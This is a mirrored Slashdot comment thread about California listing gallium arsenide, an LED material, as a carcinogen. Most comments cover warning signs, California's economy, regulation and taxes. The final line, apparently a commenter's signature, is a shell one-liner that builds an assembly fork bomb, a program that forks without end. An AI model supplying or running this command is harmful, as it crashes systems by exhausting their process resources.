Slashdot Mirror
California Classes LED Component Gallium Arsenide a Carcinogen
Reader LM741N, pointing to a report released this month by California's Office of Environmental Health Hazard Assessment, writes "Gallium Arsenide has now been listed as a carcinogen. Given the increasing usage of gallium arsenide, the main constituent in LEDs, and their recent championing as more efficient light sources in recent news stories and Slashdot, there may be significant environmental concerns as related to their disposal. Morover, workers in industries using the substance may be at risk of cancer as well."
We have such a warning at work, on the doors. There are indeed dangerous chemicals in the building, in one chemical lab, accessible to maybe 10 chemists. The remaining 1,990 workers do sales and support and design stuff on computers.
Well, its a free country, so feel free to not read any warning you like. But I like knowing that the power cable on my blender contains lead and that I should wash my hands after plugging it in and before touching food. I like knowing which products at Home Depot are more likely to cause respiratory problems. And yes, if a building I worked in contained excessive levels of some toxin, I would like to know about it.
Examples of buildings that have the signs posted:
- Junk yards
- Gas stations
- Vehicle maintenance yards
- Recycling stations
- Apartment complexes
- Malls
- Grocery stores
- Hospitals
- Vacant lots
And that's just the start of it. No one pays attention to them anymore, and even if we did, we wouldn't know just what the problem was, because the law only requires that the sign be posted, not explain what led to it being posted.
You can never go home again... but I guess you can shop there.
#1 GDP of US states, #10 GDP per capita. Diversified economy including agriculture, shipping, assorted manufacturing, and high tech.
Truly, a downtrodden people, crying out for the better way of life enjoyed by their fellow men in Mississippi.
While we're on the subject, after the thorough screwing that California got from the ever wise and beneficent market during the electricity deregulation and crisis, I'm guessing that they might not be rushing with open arms into a bold era of state nonintervention.
That's right, seventh - right above China - if it were its own country. Yes, here is more information on how to 'NOT' run a state!
Sounds like those 'nanny state liberal' commies have ruined CA indeed! *cough*
Fact: Everything I say is fiction.
Well, in the biology community, the fact that everything DOES seem to cause cancer is a running gag. It's kind of black comedy really. The one way to be sure that you're not going to slowly and painfully to cancer is to get killed by something else first. Ha ha...
I blame our early RNA-based ancestors for choosing an imperfect nucleotide-based system of keeping notes that has not been significantly improved (aside from the DNA version at some point.) Is it too much to ask that the genetic material be completely error-free?
Physicists would say yes, but I say they're cowards, traitors, and anti-life.
this.
i had a number of friends in high school who had transferred out here to atlanta from high school.
all they could talk about was how awesome california was and they couldn't wait to get back there.
it seems to be (from my anecdotal evidence) that natives of california are the only ones who seem to feel that there is no civilized life outside of california.
"If for any reason you're not satisfied with our service, I hate you."
Around here (foothills), the signs are posted everywhere because the dirt naturally contains asbestos. It's not like there's much anyone can do about dirt except move, so maybe it's be more useful to publish a map highlighting the few areas that are safe to live in.
This space intentionally left blank
As the article points out, the regulations are there because they're desirable to the public. You could claim it's not the desirability that drives up the costs in a "good" neighborhood compared with a run-down "bad" neighborhood, but the extra costs associated with upkeep of the homes and of local services such as police.
The fact remains that the prices are what they are because people are willing to pay them. Willingness to pay a price is generally regarded as a good measure of its desirability to the public.
By the way, I've lived in Seattle, owned a home there, and am familiar with their permitting process for single family homes, and I have to say that whatever unnecessary regulations there are, they're such that I'd rather they keep it the way it is than see them become too permissive. The natives of Houston that I met in Seattle would certainly agree with me 100%, as they would tell me of the ridiculous results of Houston's lack of zoning laws.
I'm sure all the middle class people in California giving thirty percent of their income to the government (soon to be more if we become an Obamanation) are really happy about it and wish the government would take more of their money.
Your tax numbers only make sense if you only classify the top 2% of earners as middle class.
Please stop spouting misinformation. In fact, with the McCain tax cuts, only the top earners will get a benefit. Everybody else will be just about the same. Now let's just cross our fingers and hope the trickle-down pixie dust work?
:. Ultimate Control Dedicated/VM Servers
It's just another way of saying that people will pay extra to live somewhere that isn't endless sprawling suburbia, because it's nicer. San Francisco, Seattle, Boston, and Boulder are in a different class from Atlanta and Houston. To say that it's "just" regulations is meaningless - people have to choose to buy into those select markets, and they have to be able to pay.
I like the required restroom signs. Nearly every sign in the developed world uses a triangular dress shape for the ladies yet California goes and requires the men's signs to be a one foot equilateral triangle and the women's to be round. Why did they pick the symbols that way? Was it an cruel inside joke for the visual impaired? Were would I find reference to how this was developed?
Sadly more people of your mind you do not expatriate to a place where they already do business "your way" such as...well, nearly any second or third world country. You can sprinkle lead paint on your corn flakes and have silica sand for desert if you like. Sure civilization has its warts, but if you don't like it, don't fake like there's no alternative and try to drag the rest of us back in time. Bye.-Matt
The problem for the US is if companies do. I've read plausible arguments that offshoring, i.e. moving manufacturing to second and third world countries is more about regulations than wage prices. E.g. electronics companies tend to run rather low labour intensive factories these days - pick and place machines populate the boards and IR or wave solderers solder them in place. You don't need many humans intervening to keep them running, and it is not a very skilled job. So the amount you could save by heading for the third world is pretty minimal. But skilled humans to fill out paperwork for government agencies are expensive, especially in the first world.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;